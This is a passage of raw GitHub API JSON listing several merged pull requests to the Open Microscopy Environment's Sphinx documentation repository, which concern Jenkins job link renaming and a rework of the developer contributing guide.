","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"1a5500adbd66f9c5c30b070bd5503b174478d02d","ref":"dev_4_4"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/229/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/229"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/229"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/229"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/229/comments"}},"title":"Virtualjob extlink","state":"closed","number":229,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/229","head":{"user":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"label":"sbesson:virtualjob_extlink","repo":{"forks":0,"svn_url":"https://github.com/sbesson/ome-documentation","merges_url":"https://api.github.com/repos/sbesson/ome-documentation/merges","languages_url":"https://api.github.com/repos/sbesson/ome-documentation/languages","assignees_url":"https://api.github.com/repos/sbesson/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/sbesson/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/sbesson/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/sbesson/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"open_issues":0,"updated_at":"2013-02-02T21:21:49Z","milestones_url":"https://api.github.com/repos/sbesson/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/sbesson/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/sbesson/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/sbesson/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/sbesson/ome-documentation/events","notifications_url":"https://api.github.com/repos/sbesson/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/sbesson/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/sbesson/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/sbesson/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/sbesson/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/sbesson/ome-documentation/collaborators{/collaborator}","full_name":"sbesson/ome-documentation","ssh_url":"git@github.com:sbesson/ome-documentation.git","pulls_url":"https://api.github.com/repos/sbesson/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/sbesson/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/sbesson/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/sbesson/ome-documentation/subscription","teams_url":"https://api.github.com/repos/sbesson/ome-documentation/teams","watchers":1,"created_at":"2012-08-22T08:57:59Z","git_url":"git://github.com/sbesson/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/sbesson/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/sbesson/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/sbesson/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/sbesson/ome-documentation/keys{/key_id}","size":608,"compare_url":"https://api.github.com/repos/sbesson/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/sbesson/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/sbesson/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/sbesson/ome-documentation/hooks","fork":true,"html_url":"https://github.com/sbesson/ome-documentation","master_branch":"dev_4_4","clone_url":"https://github.com/sbesson/ome-documentation.git","watchers_count":1,"git_refs_url":"https://api.github.com/repos/sbesson/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/sbesson/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/sbesson/ome-documentation/issues/events{/number}","private":false,"id":5507021,"default_branch":"dev_4_4","pushed_at":"2013-02-01T15:04:17Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/sbesson/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/sbesson/ome-documentation/forks"},"sha":"61139ce688bda4c5abb750e684c1dd57e7209632","ref":"virtualjob_extlink"},"assignee":null,"updated_at":"2013-01-25T13:17:57Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/229/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/229/commits","closed_at":"2013-01-25T13:17:57Z","user":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/229","merged_at":"2013-01-25T13:17:57Z","merge_commit_sha":"98a269b52af13e6aa9e32dbdd69655dc7bc82d09","created_at":"2013-01-24T11:00:01Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/229/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/229.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/229","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"This PR should fix the link to the latest succesful `.ova` file in the virtual appliance documentation.\r\n\r\nAt the current HEAD of this branch, I have\r\n```\r\nsbesson:sphinx sebastien$ git grep -E \"\\-trunk\"\r\nREADME.rst:By default, the OMERO job is set to ``OMERO-trunk``. To specify a different \r\nconf.py: jenkins_job = 'OMERO-trunk'\r\ndevelopers/Cpp.txt:- :jenkins:`Windows Server 2003 (32 bit) `\r\ndevelopers/Cpp.txt:- :jenkins:`Linux `\r\ndevelopers/Cpp.txt:- :jenkins:`MacOSX `\r\ndevelopers/continuous-integration.txt: * :term:`OMERO-trunk`\r\ndevelopers/continuous-integration.txt: * :term:`BIOFORMATS-trunk`\r\ndevelopers/continuous-integration.txt: :jenkinsjob:`BIOFORMATS-trunk`\r\ndevelopers/continuous-integration.txt: :jenkinsjob:`OMERO-trunk`\r\ndevelopers/release-process.txt: - See: :jenkins:`job/OMERO-trunk-components`.\r\ndevelopers/release-process.txt:- Rename \"\\*-trunk\" jenkins jobs to \"\\*-\"\r\n```\r\n\r\nAll the `*-trunk` links present in the developers/continuous-integration.txt page are expected. The only leftovers are the `OMERO-trunk-components` links. Once this job is green again and copied on to the stable branch, I will implement the same strategy as the one in this PR and create a `componentsjob` alias.\r\n\r\n/cc @joshmoore, @hflynn","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/229.diff","id":3818035,"base":{"user":null,"label":"openmicroscopy:dev_4_4","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"1a5500adbd66f9c5c30b070bd5503b174478d02d","ref":"dev_4_4"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/228/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/228"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/228"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/228"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/228/comments"}},"title":"\"Contributing to OMERO\" developer doc rework (rebased onto develop)","state":"closed","number":228,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/228","head":{"user":{"type":"User","url":"https://api.github.com/users/joshmoore","received_events_url":"https://api.github.com/users/joshmoore/received_events","login":"joshmoore","events_url":"https://api.github.com/users/joshmoore/events{/privacy}","organizations_url":"https://api.github.com/users/joshmoore/orgs","avatar_url":"https://secure.gravatar.com/avatar/b9d1630a90131545c699075f73da092b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/joshmoore/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/joshmoore/gists{/gist_id}","gravatar_id":"b9d1630a90131545c699075f73da092b","followers_url":"https://api.github.com/users/joshmoore/followers","id":88113,"repos_url":"https://api.github.com/users/joshmoore/repos","subscriptions_url":"https://api.github.com/users/joshmoore/subscriptions","following_url":"https://api.github.com/users/joshmoore/following"},"label":"joshmoore:rebased/develop/contrib-section","repo":{"forks":0,"svn_url":"https://github.com/joshmoore/ome-documentation","merges_url":"https://api.github.com/repos/joshmoore/ome-documentation/merges","languages_url":"https://api.github.com/repos/joshmoore/ome-documentation/languages","assignees_url":"https://api.github.com/repos/joshmoore/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/joshmoore/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/joshmoore/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/joshmoore/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/joshmoore","received_events_url":"https://api.github.com/users/joshmoore/received_events","login":"joshmoore","events_url":"https://api.github.com/users/joshmoore/events{/privacy}","organizations_url":"https://api.github.com/users/joshmoore/orgs","avatar_url":"https://secure.gravatar.com/avatar/b9d1630a90131545c699075f73da092b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/joshmoore/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/joshmoore/gists{/gist_id}","gravatar_id":"b9d1630a90131545c699075f73da092b","followers_url":"https://api.github.com/users/joshmoore/followers","id":88113,"repos_url":"https://api.github.com/users/joshmoore/repos","subscriptions_url":"https://api.github.com/users/joshmoore/subscriptions","following_url":"https://api.github.com/users/joshmoore/following"},"open_issues":0,"updated_at":"2013-02-01T11:33:14Z","milestones_url":"https://api.github.com/repos/joshmoore/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/joshmoore/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/joshmoore/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/joshmoore/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/joshmoore/ome-documentation/events","notifications_url":"https://api.github.com/repos/joshmoore/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/joshmoore/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/joshmoore/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/joshmoore/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/joshmoore/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/joshmoore/ome-documentation/collaborators{/collaborator}","full_name":"joshmoore/ome-documentation","ssh_url":"git@github.com:joshmoore/ome-documentation.git","pulls_url":"https://api.github.com/repos/joshmoore/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/joshmoore/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/joshmoore/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/joshmoore/ome-documentation/subscription","teams_url":"https://api.github.com/repos/joshmoore/ome-documentation/teams","watchers":1,"created_at":"2012-03-01T09:53:37Z","git_url":"git://github.com/joshmoore/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/joshmoore/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/joshmoore/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/joshmoore/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/joshmoore/ome-documentation/keys{/key_id}","size":780,"compare_url":"https://api.github.com/repos/joshmoore/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/joshmoore/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/joshmoore/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/joshmoore/ome-documentation/hooks","fork":true,"html_url":"https://github.com/joshmoore/ome-documentation","clone_url":"https://github.com/joshmoore/ome-documentation.git","watchers_count":1,"git_refs_url":"https://api.github.com/repos/joshmoore/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/joshmoore/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/joshmoore/ome-documentation/issues/events{/number}","private":false,"id":3590779,"pushed_at":"2013-01-31T11:56:02Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/joshmoore/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/joshmoore/ome-documentation/forks"},"sha":"abe9ddd7585c52729d574c24f638c65b50cd354d","ref":"rebased/develop/contrib-section"},"assignee":null,"updated_at":"2013-01-25T08:02:32Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/228/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/228/commits","closed_at":"2013-01-25T08:02:32Z","user":{"type":"User","url":"https://api.github.com/users/joshmoore","received_events_url":"https://api.github.com/users/joshmoore/received_events","login":"joshmoore","events_url":"https://api.github.com/users/joshmoore/events{/privacy}","organizations_url":"https://api.github.com/users/joshmoore/orgs","avatar_url":"https://secure.gravatar.com/avatar/b9d1630a90131545c699075f73da092b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/joshmoore/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/joshmoore/gists{/gist_id}","gravatar_id":"b9d1630a90131545c699075f73da092b","followers_url":"https://api.github.com/users/joshmoore/followers","id":88113,"repos_url":"https://api.github.com/users/joshmoore/repos","subscriptions_url":"https://api.github.com/users/joshmoore/subscriptions","following_url":"https://api.github.com/users/joshmoore/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/228","merged_at":"2013-01-25T08:02:32Z","merge_commit_sha":"1234d0f831c2d19f713b8e30c14b904cace7b6d9","created_at":"2013-01-24T08:25:41Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/228/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/228.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/228","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"\n\nThis is the same as gh-222 but rebased onto develop.\n\n----\n\n\r\n * Rename files to follow abc-xyz.txt standard\r\n * Reduce the number of individual files\r\n * Improve the order of files for external developers\r\n * Improve the order of sections in some files\r\n * Drop UsingGitFlow\r\n\r\nLooking at developers/index.txt and developers/contributing.txt\r\nit's still not completely clear 1) that a developer should REALLY\r\nread the \"contributing\" section, nor 2) once they've opened up\r\ncontributing.txt which sections are highly important.\r\n\r\nNB: very little has been done in the way of optimizing the PDF\n\n ","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/228.diff","id":3816200,"base":{"user":null,"label":"openmicroscopy:develop","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"281ddcc74b87247095f05e494f70efd28ee87785","ref":"develop"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/226/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/226"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/226"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/226"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/226/comments"}},"title":"Jenkins stable renaming (rebased onto develop)","state":"closed","number":226,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/226","head":{"user":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"label":"sbesson:rebased/develop/jenkins_stable_renaming","repo":{"forks":0,"svn_url":"https://github.com/sbesson/ome-documentation","merges_url":"https://api.github.com/repos/sbesson/ome-documentation/merges","languages_url":"https://api.github.com/repos/sbesson/ome-documentation/languages","assignees_url":"https://api.github.com/repos/sbesson/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/sbesson/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/sbesson/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/sbesson/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"open_issues":0,"updated_at":"2013-02-02T21:21:49Z","milestones_url":"https://api.github.com/repos/sbesson/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/sbesson/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/sbesson/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/sbesson/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/sbesson/ome-documentation/events","notifications_url":"https://api.github.com/repos/sbesson/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/sbesson/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/sbesson/ome-documentation/c